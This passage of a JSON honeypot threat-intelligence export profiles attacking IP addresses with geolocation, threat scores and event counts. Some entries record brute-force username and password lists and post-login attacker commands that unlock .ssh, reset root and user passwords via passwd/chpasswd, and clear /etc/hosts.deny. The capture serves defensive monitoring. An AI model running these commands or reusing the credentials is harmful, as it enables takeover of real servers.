      "city": "Maldonado",
      "asn": 6057,
      "as_org": "Administracion Nacional de Telecomunicaciones",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T14:08:00.383000+00:00",
        "last_seen_30d": "2026-05-11T14:09:16.007000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "182.53.146.196": {
      "attack_count": 2,
      "first_seen": "2026-05-05T22:04:39.113Z",
      "last_seen": "2026-05-05T22:04:51.903Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Nakhon Pathom",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T22:04:39.113000+00:00",
        "last_seen_30d": "2026-05-05T22:05:58.368000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "183.191.95.64": {
      "attack_count": 2,
      "first_seen": "2026-05-21T14:44:52.139Z",
      "last_seen": "2026-05-21T14:45:23.486Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T14:44:52.139000+00:00",
        "last_seen_30d": "2026-05-21T14:46:33.497000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "185.171.91.142": {
      "attack_count": 2,
      "first_seen": "2026-05-08T19:14:00.979Z",
      "last_seen": "2026-05-08T19:14:12.985Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Didim",
      "asn": 216210,
      "as_org": "Didim Net Elektronik Haberlesme Ticaret Limited Sirketi",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T19:14:00.979000+00:00",
        "last_seen_30d": "2026-05-08T19:15:17.814000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.198.184.168": {
      "attack_count": 2,
      "first_seen": "2026-05-02T19:23:11.263Z",
      "last_seen": "2026-05-02T19:23:26.198Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Zapotl\u00e1n el Grande",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T19:23:11.263000+00:00",
        "last_seen_30d": "2026-05-02T19:24:31.609000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "188.19.57.170": {
      "attack_count": 2,
      "first_seen": "2026-05-02T08:16:14.480Z",
      "last_seen": "2026-05-02T08:16:28.372Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Surgut",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T08:16:14.480000+00:00",
        "last_seen_30d": "2026-05-02T08:17:33.212000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.133.114.239": {
      "attack_count": 2,
      "first_seen": "2026-05-14T00:10:40.200Z",
      "last_seen": "2026-05-14T00:12:40.206Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uruguay",
      "country_code": "UY",
      "city": "Montevideo",
      "asn": 6057,
      "as_org": "Administracion Nacional de Telecomunicaciones",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T00:10:40.200000+00:00",
        "last_seen_30d": "2026-05-14T00:23:17.065000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "194.26.167.58": {
      "attack_count": 2,
      "first_seen": "2026-05-27T23:16:22.360Z",
      "last_seen": "2026-05-27T23:16:35.714Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Kyiv",
      "asn": 48438,
      "as_org": "Corbina Telecom Llc.",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T23:16:22.360000+00:00",
        "last_seen_30d": "2026-05-27T23:17:38.333000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "205.210.31.58": {
      "attack_count": 2,
      "first_seen": "2026-05-15T22:18:28.928Z",
      "last_seen": "2026-05-15T22:18:29.281Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 82.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.0,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 99,
        "days_active_30d": 28,
        "ports_targeted_30d": 23,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T23:59:47.173000+00:00",
        "last_seen_30d": "2026-05-29T21:44:04.555000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 71,
        "Honeytrap": 22,
        "Cowrie": 2,
        "Dionaea": 1,
        "H0neytr4p": 1,
        "Tanner": 1,
        "Wordpot": 1
      }
    },
    "210.84.27.229": {
      "attack_count": 2,
      "first_seen": "2026-05-05T01:38:40.834Z",
      "last_seen": "2026-05-05T01:38:54.223Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 7545,
      "as_org": "TPG Telecom Limited",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T01:38:40.834000+00:00",
        "last_seen_30d": "2026-05-05T01:39:55.944000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "220.175.87.76": {
      "attack_count": 2,
      "first_seen": "2026-05-04T16:54:17.786Z",
      "last_seen": "2026-05-04T16:54:30.458Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Nanchang",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T16:54:17.786000+00:00",
        "last_seen_30d": "2026-05-04T16:55:37.781000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "39.108.91.46": {
      "attack_count": 2,
      "first_seen": "2026-05-19T16:41:34.059Z",
      "last_seen": "2026-05-19T16:41:34.060Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenzhen",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T16:41:34.059000+00:00",
        "last_seen_30d": "2026-05-19T16:42:43.221000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "46.61.245.193": {
      "attack_count": 2,
      "first_seen": "2026-05-08T11:33:21.783Z",
      "last_seen": "2026-05-08T11:33:33.813Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 201776,
      "as_org": "Miranda-Media Ltd",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T11:33:21.783000+00:00",
        "last_seen_30d": "2026-05-08T11:34:34.281000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "61.159.250.63": {
      "attack_count": 2,
      "first_seen": "2026-05-23T01:40:31.392Z",
      "last_seen": "2026-05-23T01:40:44.721Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T01:40:31.392000+00:00",
        "last_seen_30d": "2026-05-23T01:41:48.704000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "78.148.106.187": {
      "attack_count": 2,
      "first_seen": "2026-05-05T07:49:40.881Z",
      "last_seen": "2026-05-05T07:49:54.129Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Ellesmere Port",
      "asn": 13285,
      "as_org": "TalkTalk",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T07:49:40.881000+00:00",
        "last_seen_30d": "2026-05-05T07:50:57.892000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "85.96.204.114": {
      "attack_count": 2,
      "first_seen": "2026-05-07T03:16:51.855Z",
      "last_seen": "2026-05-07T03:17:03.821Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Istanbul",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T03:16:51.855000+00:00",
        "last_seen_30d": "2026-05-07T03:18:10.917000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "223.11.159.245": {
      "attack_count": 480,
      "first_seen": "2026-05-21T07:08:55.703Z",
      "last_seen": "2026-05-22T09:34:28.447Z",
      "sessions": 240,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 29.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 737,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T07:08:55.703000+00:00",
        "last_seen_30d": "2026-05-22T09:35:38.453000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 480,
        "Suricata": 257
      }
    },
    "116.99.173.243": {
      "attack_count": 435,
      "first_seen": "2026-05-31T11:01:49.109Z",
      "last_seen": "2026-05-31T11:29:38.113Z",
      "sessions": 87,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "*****",
        "test",
        "1234",
        "ace",
        "backup",
        "belkinstyle",
        "bin",
        "cisco",
        "client",
        "config",
        "cpanel",
        "db2inst2",
        "developer",
        "ftp",
        "ftpuser",
        "guest1",
        "help"
      ],
      "passwords_attempted": [
        "1234",
        "admin",
        "*****",
        "12345678",
        "admin123",
        "039715582364317",
        "0987654321",
        "0l0ctyQh243O63uD",
        "1",
        "112233",
        "12345",
        "123456",
        "1234567890%*()",
        "72b1bd75ac87852a",
        "72ca06",
        "91482d",
        "Deadstar!",
        "P@ssw0rd",
        "abc123",
        "abcd1234"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 43.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 651,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T11:01:49.109000+00:00",
        "last_seen_30d": "2026-05-31T11:30:47.276000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 435,
        "Suricata": 216
      }
    },
    "57.134.215.133": {
      "attack_count": 416,
      "first_seen": "2026-05-22T09:49:10.902Z",
      "last_seen": "2026-05-27T08:30:34.906Z",
      "sessions": 35,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "test",
        "admin",
        "oracle",
        "osm",
        "artem",
        "dev",
        "dokku",
        "es",
        "fff",
        "kt",
        "oscar",
        "systemd",
        "taibabi",
        "user01"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123qwe!@#QWE",
        "!Q@W#E1q2w3e",
        "0000",
        "1",
        "1111",
        "123",
        "123456",
        "4rfv%TGB",
        "@WSXzaq1",
        "Aa@123456789",
        "P@ssw0rd",
        "Password123",
        "Voidsetdownload.so",
        "dokku",
        "elasticsearch",
        "fff",
        "fjbdfdjkdsfs541544AA@@",
        "kt@123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"0000\\nf3aJLRrs8k7i\\nf3aJLRrs8k7i\\n\"|passwd",
        "echo \"Aa@123456789\\nfdnewdzkNr8b\\nfdnewdzkNr8b\\n\"|passwd",
        "echo \"Password123\\n0lfudASlxpHW\\n0lfudASlxpHW\\n\"|passwd",
        "echo \"osm\\nB0zLTWGa8Jc5\\nB0zLTWGa8Jc5\\n\"|passwd",
        "echo -e \"0000\\nf3aJLRrs8k7i\\nf3aJLRrs8k7i\"|passwd|bash",
        "echo -e \"Aa@123456789\\nfdnewdzkNr8b\\nfdnewdzkNr8b\"|passwd|bash",
        "echo -e \"Password123\\n0lfudASlxpHW\\n0lfudASlxpHW\"|passwd|bash",
        "echo -e \"osm\\nB0zLTWGa8Jc5\\nB0zLTWGa8Jc5\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Chatham",
      "asn": 7992,
      "as_org": "Cogeco Connexion Inc.",
      "threat_score": 38.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.0,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 498,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T09:49:10.902000+00:00",
        "last_seen_30d": "2026-05-27T08:31:39.784000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 416,
        "Suricata": 82
      }
    },
    "14.177.234.24": {
      "attack_count": 315,
      "first_seen": "2026-05-16T15:25:35.298Z",
      "last_seen": "2026-05-16T16:21:40.517Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "username",
        "admin",
        "auser",
        "cassandra",
        "dev",
        "gitlab-runner",
        "mehdi",
        "qw",
        "radio",
        "ubuntu",
        "zhou"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "11223344",
        "123",
        "123456xx",
        "1qaz2wsx!QAZ",
        "20192019",
        "ASDFasdf1234",
        "Aa888888",
        "Passw0rd!",
        "Qwe123qwe",
        "Qwert123456",
        "abc123",
        "cassandra",
        "gitlab-runner",
        "host@123",
        "mehdi1234",
        "qw",
        "qwe123.."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"abc123\\nJfQVIUHoSmXm\\nJfQVIUHoSmXm\\n\"|passwd",
        "echo \"root:Hmc6PxqJ5beq\"|chpasswd|bash",
        "echo \"root:tsZlrnkIX9Vl\"|chpasswd|bash",
        "echo -e \"abc123\\nJfQVIUHoSmXm\\nJfQVIUHoSmXm\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Hanoi",
      "asn": 45899,
      "as_org": "VNPT Corp",
      "threat_score": 19.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 379,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T15:25:35.298000+00:00",
        "last_seen_30d": "2026-05-16T16:22:42.621000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 315,
        "Suricata": 64
      }
    },
    "202.53.94.246": {
      "attack_count": 307,
      "first_seen": "2026-05-20T16:19:38.138Z",
      "last_seen": "2026-05-20T16:48:24.300Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "hayashi",
        "hoa",
        "zhang",
        "adm",
        "jia",
        "kazuki",
        "kobayashi",
        "lee",
        "minjun",
        "nobody",
        "polkitd",
        "qcloud",
        "reddy",
        "ubuntu",
        "vps"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "100000000",
        "300001",
        "hayashi",
        "hoa",
        "jia",
        "kakaoi",
        "kazuki",
        "password",
        "polkitd",
        "qcloud",
        "systemd",
        "ubuntu123",
        "xiaohongshu",
        "zhang"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"hayashi\\nQmqRwMaGgeTY\\nQmqRwMaGgeTY\\n\"|passwd",
        "echo \"hoa\\nCDAzhBxYST5y\\nCDAzhBxYST5y\\n\"|passwd",
        "echo \"zhang\\nBaabCzfWUttd\\nBaabCzfWUttd\\n\"|passwd",
        "echo -e \"hayashi\\nQmqRwMaGgeTY\\nQmqRwMaGgeTY\"|passwd|bash",
        "echo -e \"hoa\\nCDAzhBxYST5y\\nCDAzhBxYST5y\"|passwd|bash",
        "echo -e \"zhang\\nBaabCzfWUttd\\nBaabCzfWUttd\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Vijayawada",
      "asn": 10225,
      "as_org": "Nettlinx Limited",
      "threat_score": 24.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 365,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T16:19:38.138000+00:00",
        "last_seen_30d": "2026-05-20T16:49:31.751000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 307,
        "Suricata": 58
      }
    },
    "103.97.135.244": {
      "attack_count": 287,
      "first_seen": "2026-05-12T03:26:32.067Z",
      "last_seen": "2026-05-12T04:55:50.061Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "ftpuser",
        "test",
        "345gs5662d34",
        "hadoop",
        "sysadmin",
        "Admin",
        "admin",
        "amir",
        "ansadmin",
        "deploy",
        "es",
        "git",
        "guest",
        "postgres",
        "testuser",
        "user2"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "P@ssw0rd",
        "admin",
        "000000",
        "102030",
        "123123",
        "12345",
        "7777",
        "88888",
        "Password!1",
        "Qazwsx123",
        "Qwerty123",
        "email",
        "es@2022",
        "hadoop#123",
        "iamadmin",
        "p@$$w0rd",
        "pulamea",
        "qwerty"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
